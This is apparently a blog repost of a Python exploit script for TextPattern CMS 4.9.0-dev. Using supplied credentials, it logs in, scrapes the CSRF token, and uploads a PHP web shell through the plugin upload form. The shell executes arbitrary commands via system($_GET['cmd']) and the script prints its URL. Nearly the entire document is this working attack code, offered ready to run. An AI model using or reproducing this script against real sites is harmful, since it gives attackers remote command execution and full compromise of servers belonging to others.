Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86372740

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated)
# Date: 07/04/2021
# Exploit Author: Mevlüt Akçam
# Software Link: https://github.com/textpattern/textpattern
# Vendor Homepage: https://textpattern.com/
# Version: 4.9.0-dev
# Tested on: 20.04.1-Ubuntu

#!/usr/bin/python3


import requests
from bs4 import BeautifulSoup as bs4
import json
import string
import random
import argparse


# Colors
RED="\033[91m"
GREEN="\033[92m"
RESET="\033[0m"

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--url', required=True, action='store', help='Target url')
parser.add_argument('-u', '--user', required=True, action='store', help='Username')
parser.add_argument('-p', '--password', required=True, action='store', help='Password')
args = parser.parse_args()

URL=args.url
uname=args.user
passwd=args.password

session=requests.Session()

def login(uname,passwd):
    data={'lang':'en','p_userid':uname,'p_password':passwd}
    r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False)

    if r_login.status_code == 200:
        print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET)
    else:
        print(RED,f"[-] Login failed",RESET)
        exit()

def get_token():
    print(GREEN,f"[+] Getting token ",RESET)
    r_token=session.get(URL+"/textpattern/index.php?event=plugin")
    soup = bs4(r_token.text, 'html.parser')
    textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1]
    textpattern = json.loads(textpattern)
    return textpattern['_txp_token']

def upload():
    file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10))
    file={
        'theplugin':(
            file_name+".php",
            """
            <html>
            <body>
            <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
            <input type="TEXT" name="cmd" autofocus>
            <input type="SUBMIT" value="Execute">
            </form>
            <pre>
            <?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
            </pre>
            </body>
            </html>
            <!-- """+file_name+" -->"
        ),# The file_name is used to verify that the file has been uploaded.
        'install_new':(None,'Upload'),
        'event':(None,'plugin'),
        'step':(None,'plugin_upload'),
        '_txp_token':(None,get_token()),
    }

    r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file)

    if file_name in r_upload.text:
        print(GREEN,f"[+] Shell uploaded",RESET)
        print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET)
    else:
        print(RED,f"[-] Shell failed to load",RESET)
        print(RED,f"[-] Bye",RESET)
        exit()


if __name__=="__main__":
    login(uname,passwd)
    upload()
    print(GREEN,f"[+] Bye",RESET)